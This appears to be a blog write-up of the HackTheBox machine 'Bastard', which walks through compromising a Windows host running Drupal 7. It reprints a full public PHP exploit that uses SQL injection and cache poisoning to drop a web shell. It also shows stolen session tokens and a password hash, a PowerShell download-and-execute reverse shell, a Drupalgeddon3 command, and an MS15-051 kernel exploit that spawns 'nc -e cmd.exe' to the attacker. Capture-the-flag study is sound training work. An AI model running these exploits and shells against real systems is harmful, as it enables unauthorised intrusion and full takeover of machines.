xsspresso
xsspresso
WriteupsHTB — Bastard
WebMediumWindows

HTB — Bastard

Drupal 7 authenticated RCE via Services module REST endpoint. MS15-051 kernel exploit escalates to SYSTEM.

May 20, 2022HackTheBox
#Drupal#RCE#REST API#Kernel Exploit

Enumeration

sh
nmap -p- -vv 10.10.10.9
 
PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack ttl 127
135/tcp   open  msrpc   syn-ack ttl 127
49154/tcp open  unknown syn-ack ttl 127
sh
nmap -sV -sC -vv -p 135,80,49154 10.10.10.9 -oN bastard_scan.txt
 
PORT      STATE SERVICE REASON          VERSION
80/tcp    open  http    syn-ack ttl 127 Microsoft IIS httpd 7.5
|_http-favicon: Unknown favicon MD5: CF2445DCB53A031C02F9B57E2199BC03
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Bastard | Bastard
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries 
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.sctxt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
| /LICENSE.txt /MAINTAINERS.txt /update.php /UPGRADE.txt /xmlrpc.php 
| /admin/ /comment/reply/ /filter/tips/ /node/add/ /search/ 
| /user/register/ /user/password/ /user/login/ /user/logout/ /?q=admin/ 
| /?q=comment/reply/ /?q=filter/tips/ /?q=node/add/ /?q=search/ 
|_/?q=user/password/ /?q=user/register/ /?q=user/login/ /?q=user/logout/
135/tcp   open  msrpc   syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open  msrpc   syn-ack ttl 127 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Directory Enum

sh
dirb http://10.10.10.9
 
+ http://10.10.10.9/0 (CODE:200|SIZE:7571)                                                                                       
+ http://10.10.10.9/admin (CODE:403|SIZE:1233)                                                                                   
+ http://10.10.10.9/Admin (CODE:403|SIZE:1233)                                                                                   
+ http://10.10.10.9/ADMIN (CODE:403|SIZE:1233)                                                                                   
+ http://10.10.10.9/batch (CODE:403|SIZE:1233)
==> DIRECTORY: http://10.10.10.9/includes/                                                                                       
+ http://10.10.10.9/index.php (CODE:200|SIZE:7571)                                                                               
+ http://10.10.10.9/install.mysql (CODE:403|SIZE:1233)                                                                           
+ http://10.10.10.9/install.pgsql (CODE:403|SIZE:1233)                                                                           
==> DIRECTORY: http://10.10.10.9/misc/                                                                                           
==> DIRECTORY: http://10.10.10.9/Misc/                                                                                           
==> DIRECTORY: http://10.10.10.9/modules/                                                                                        
+ http://10.10.10.9/node (CODE:200|SIZE:7571)                                                                                    
==> DIRECTORY: http://10.10.10.9/profiles/+ http://10.10.10.9/repository (CODE:403|SIZE:1233)                                                                              
+ http://10.10.10.9/rest (CODE:200|SIZE:62)                                                                                      
+ http://10.10.10.9/robots.txt (CODE:200|SIZE:2189)                                                                              
+ http://10.10.10.9/root (CODE:403|SIZE:1233)                                                                                    
+ http://10.10.10.9/Root (CODE:403|SIZE:1233)                                                                                    
==> DIRECTORY: http://10.10.10.9/scripts/                                                                                        
==> DIRECTORY: http://10.10.10.9/Scripts/                                                                                        
+ http://10.10.10.9/search (CODE:403|SIZE:1233)                                                                                  
+ http://10.10.10.9/Search (CODE:403|SIZE:1233)                                                                                  
==> DIRECTORY: http://10.10.10.9/sites/                                                                                          
==> DIRECTORY: http://10.10.10.9/Sites/                                                                                          
+ http://10.10.10.9/tag (CODE:403|SIZE:1233)                                                                                     
+ http://10.10.10.9/template (CODE:403|SIZE:1233)                                                                                
==> DIRECTORY: http://10.10.10.9/themes/                                                                                         
==> DIRECTORY: http://10.10.10.9/Themes/                                                                                         
+ http://10.10.10.9/user (CODE:200|SIZE:7411)
+ http://10.10.10.9/xmlrpc.php (CODE:200|SIZE:42)
  • Checking changelog.txt Drupal is running 7.54

http://10.10.10.9/changelog.txt

Checking the /rest endpoint

Install php-curl

sudo apt-get install php-curl

php 41564.php

We get remote code execution

Adding this to the payload

sh
# 41564.php adding this to the payload
 
$url = 'http://10.10.10.9';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';
 
$file = [
    'filename' => 'test.php',
    'data' => '<?php system($_GET["cmd"]); ?>'
];

The complete payload

php
# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/drupal-services-module-rce
 
 
#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
#    along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
#
 
# Initialization
 
error_reporting(E_ALL);
 
define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');
 
$url = 'http://10.10.10.9';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';
 
$file = [
    'filename' => 'test.php',
    'data' => '<?php system($_GET["cmd"]); ?>'
];
 
$browser = new Browser($url . $endpoint_path);
 
 
# Stage 1: SQL Injection
 
class DatabaseCondition
{
    protected $conditions = [
        "#conjunction" => "AND"
    ];
    protected $arguments = [];
    protected $changed = false;
    protected $queryPlaceholderIdentifier = null;
    public $stringVersion = null;
 
    public function __construct($stringVersion=null)
    {
        $this->stringVersion = $stringVersion;
 
        if(!isset($stringVersion))
        {
            $this->changed = true;
            $this->stringVersion = null;
        }
    }
}
 
class SelectQueryExtender {
    # Contains a DatabaseCondition object instead of a SelectQueryInterface
    # so that $query->compile() exists and (string) $query is controlled by us.
    protected $query = null;
 
    protected $uniqueIdentifier = QID;
    protected $connection;
    protected $placeholder = 0;
 
    public function __construct($sql)
    {
        $this->query = new DatabaseCondition($sql);
    }
}
 
$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
 
# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query =
    "0x3a) UNION SELECT ux.uid AS uid, " .
    "ux.name AS name, '$password_hash' AS pass, " .
    "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
    "ux.pass AS signature_format, ux.created AS created, " .
    "ux.access AS access, ux.login AS login, ux.status AS status, " .
    "ux.timezone AS timezone, ux.language AS language, ux.picture " .
    "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
    "WHERE ux.uid<>(0"
;
 
$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);
 
$json = $browser->post(TYPE_PHP, $data);
 
# If this worked, the rest will as well
if(!isset($json->user))
{
    print_r($json);
    e("Failed to login with fake password");
}
 
# Store session and user data
 
$session = [
    'session_name' => $json->session_name,
    'session_id' => $json->sessid,
    'token' => $json->token
];
store('session', $session);
 
$user = $json->user;
 
# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);
 
# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);
 
store('user', $user);
 
if($cache === false)
{
    e("Unable to obtains endpoint's cache value");
}
 
x("Cache contains " . sizeof($cache) . " entries");
 
# Stage 2: Change endpoint's behaviour to write a shell
 
class DrupalCacheArray
{
    # Cache ID
    protected $cid = "services:endpoint_name:resources";
    # Name of the table to fetch data from.
    # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
    protected $bin = 'cache';
    protected $keysToPersist = [];
    protected $storage = [];
 
    function __construct($storage, $endpoint, $controller, $action) {
        $settings = [
            'services' => ['resource_api_version' => '1.0']
        ];
        $this->cid = "services:$endpoint:resources";
 
        # If no endpoint is given, just reset the original values
        if(isset($controller))
        {
            $storage[$controller]['actions'][$action] = [
                'help' => 'Writes data to a file',
                # Callback function
                'callback' => 'file_put_contents',
                # This one does not accept "true" as Drupal does,
                # so we just go for a tautology
                'access callback' => 'is_string',
                'access arguments' => ['a string'],
                # Arguments given through POST
                'args' => [
                    0 => [
                        'name' => 'filename',
                        'type' => 'string',
                        'description' => 'Path to the file',
                        'source' => ['data' => 'filename'],
                        'optional' => false,
                    ],
                    1 => [
                        'name' => 'data',
                        'type' => 'string',
                        'description' => 'The data to write',
                        'source' => ['data' => 'data'],
                        'optional' => false,
                    ],
                ],
                'file' => [
                    'type' => 'inc',
                    'module' => 'services',
                    'name' => 'resources/user_resource',
                ],
                'endpoint' => $settings
            ];
            $storage[$controller]['endpoint']['actions'] += [
                $action => [
                    'enabled' => 1,
                    'settings' => $settings
                ]
            ];
        }
 
        $this->storage = $storage;
        $this->keysToPersist = array_fill_keys(array_keys($storage), true);
    }
}
 
class ThemeRegistry Extends DrupalCacheArray {
    protected $persistable;
    protected $completeRegistry;
}
 
cache_poison($endpoint, $cache);
 
# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));
 
 
# Stage 3: Restore endpoint's behaviour
 
cache_reset($endpoint, $cache);
 
if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
    e("Failed to write file.");
}
 
$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");
 
 
# HTTP Browser
 
class Browser
{
    private $url;
    private $controller = CONTROLLER;
    private $action = ACTION;
 
    function __construct($url)
    {
        $this->url = $url;
    }
 
    function post($type, $data)
    {
        $headers = [
            "Accept: " . TYPE_JSON,
            "Content-Type: $type",
            "Content-Length: " . strlen($data)
        ];
        $url = $this->url . '/' . $this->controller . '/' . $this->action;
 
        $s = curl_init();
        curl_setopt($s, CURLOPT_URL, $url);
        curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($s, CURLOPT_POST, 1);
        curl_setopt($s, CURLOPT_POSTFIELDS, $data);
        curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
        $output = curl_exec($s);
        $error = curl_error($s);
        curl_close($s);
 
        if($error)
        {
            e("cURL: $error");
        }
 
        return json_decode($output);
    }
}
 
# Cache
 
function cache_poison($endpoint, $cache)
{
    $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
    cache_edit($tr);
}
 
function cache_reset($endpoint, $cache)
{
    $tr = new ThemeRegistry($cache, $endpoint, null, null);
    cache_edit($tr);
}
 
function cache_edit($tr)
{
    global $browser;
    $data = serialize([$tr]);
    $json = $browser->post(TYPE_PHP, $data);
}
 
# Utils
 
function x($message)
{
    print("$message\n");
}
 
function e($message)
{
    x($message);
    exit(1);
}
 
function store($name, $data)
{
    $filename = "$name.json";
    file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
    x("Stored $name information in $filename");
}

After running the php 41564.php two files were created session.json and user.json session.json

json
{
    "session_name": "SESSd873f26fc11f2b7e6e4aa0f6fce59913",
    "session_id": "q9gUIUOVU7aBXq69qrXhwhnvx4e-JAiVWYbcOP5j-XA",
    "token": "yxRzT6-zBGHT-C3SNf1Z2NUGqq41ZJzcVCDhR9-xd-Q"
}

user.json

json
{
    "uid": "1",
    "name": "admin",
    "mail": "drupal@hackthebox.gr",
    "theme": "",
    "created": "1489920428",
    "access": "1671726593",
    "login": 1671740257,
    "status": "1",
    "timezone": "Europe\/Athens",
    "language": "",
    "picture": null,
    "init": "drupal@hackthebox.gr",
    "data": false,
    "roles": {
        "2": "authenticated user",
        "3": "administrator"
    },
    "rdf_mapping": {
        "rdftype": [
            "sioc:UserAccount"
        ],
        "name": {
            "predicates": [
                "foaf:name"
            ]
        },
        "homepage": {
            "predicates": [
                "foaf:page"
            ],
            "type": "rel"
        }
    },
    "pass": "$S$DRYKUR0xDeqClnV5W0dnncafeE.Wi4YytNcBmmCtwOjrcH5FJSaE"
}

In the directory enumeration, I found out that we could add the session and access the /admin

  • Cracking the hashed password could take days so it is not recommended
  • (Firefox) → Inspect element → Storage → Under Cookies → Add the Name which is the session_name value and value which is the session_id value
  • Refreshing the webpage we get access to the dashboard

Exploitation

Using Nishang Invoke-PowerShellTcp.ps1

  • Add this line to the end of Invoke-PowerShellTcp.ps1

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 1234

  • I will be executing this to invoke the powershell script and get a reverse shell. powershell -nop -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.12/Invoke-PowerShellTcp.ps1')
  • [-nop] : not to load the powershell profile, is to run non-interactive
  • [-ep bypass] : to bypass execution policy
  • Using burpsuite going to /test.php?cmd=test capture the request
  • Under Inspector → Request Query Parameters → under valuepowershell -nop -ep bypass iex (New-Object Net.WebClient).DownloadString('<http://10.10.14.12/Invoke-PowerShellTcp.ps1>')

  • The reason the payload needs to be in URL encoding and burp will solve this

Start server

python -m http.server 80

Netcat listener

nc -lvnp 1234

Drupalgeddon3 SA-CORE-2018-004 POC

CVE-2018-7602 - Drupal 7.x RCE Drupal < 7.59 authenticated RCE

  • https://github.com/oways/SA-CORE-2018-004

wget https://raw.githubusercontent.com/oways/SA-CORE-2018-004/master/drupalgeddon3.py

sh
[Usage]
python drupalgeddon3.py [URL] [Session] [Exist Node number] [Command]

Make sure to host the script file Invoke-PowerShellTcp.ps1

python -m http.server 80

Start a netcat listener

nc -lvnp 1234

Exploit

sh
python drupalgeddon3.py http://10.10.10.9/ "SESSd873f26fc11f2b7e6e4aa0f6fce59913=Yz0aQLEdvZsso7LQlzl6111gSVeDvnVioHXpPr1ExRM" 1 "whoami"
nt authority\iusr

Privilege Escalation

  • Using sherlock: PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.****
  • Get the script to our local machine

wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1

Add to Sherlock.ps1

Find-AllVulns

Start smb server

/usr/share/doc/python3-impacket/examples/smbserver.py file .

Copying the file from powershell

cp \\10.10.14.12\file\Sherlock.ps1

Import the module from powershell

Import-Module -Name .\Sherlock.ps1

sh
Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
Link       : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems
 
Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Appears Vulnerable
 
Title      : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID      : 2013-1300
Link       : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems
 
Title      : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID      : 2013-3881
Link       : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems
 
Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable
 
Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable
 
Title      : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID      : 2015-2426, 2015-2433
Link       : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
 
Title      : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID      : 2016-0051
Link       : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems
 
Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable
 
Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1
             6-034?
VulnStatus : Not Vulnerable
 
Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
             ample-Exploits/MS16-135
VulnStatus : Not Vulnerable
 
Title      : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID      : 2017-7199
Link       : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.h
             tml
VulnStatus : Not Vulnerablebas

MS15-051

  • https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
  • Download the zip file
  • unzip MS15-051-KB3045171.zip
  • Since we already have smbserver we can launch the executable directly

\\10.10.14.12\file\ms15-051x64.exe whoami

  • We can get a privilege shell by downloading nc64.exe
  • https://github.com/int0x33/nc.exe/blob/master/nc64.exe
  • Transferring it to the windows machine with smbserver.py

cp \\10.10.14.12\file\nc64.exe

Execute the payload to get admin shell

.\ms15-051x64.exe "nc64.exe -e cmd.exe 10.10.14.12 4321"

nc -lvnp 4321

Skills Learned

  • Enumerating CMS versions
  • Exploit modification
  • Basic Windows privilege escalation techniques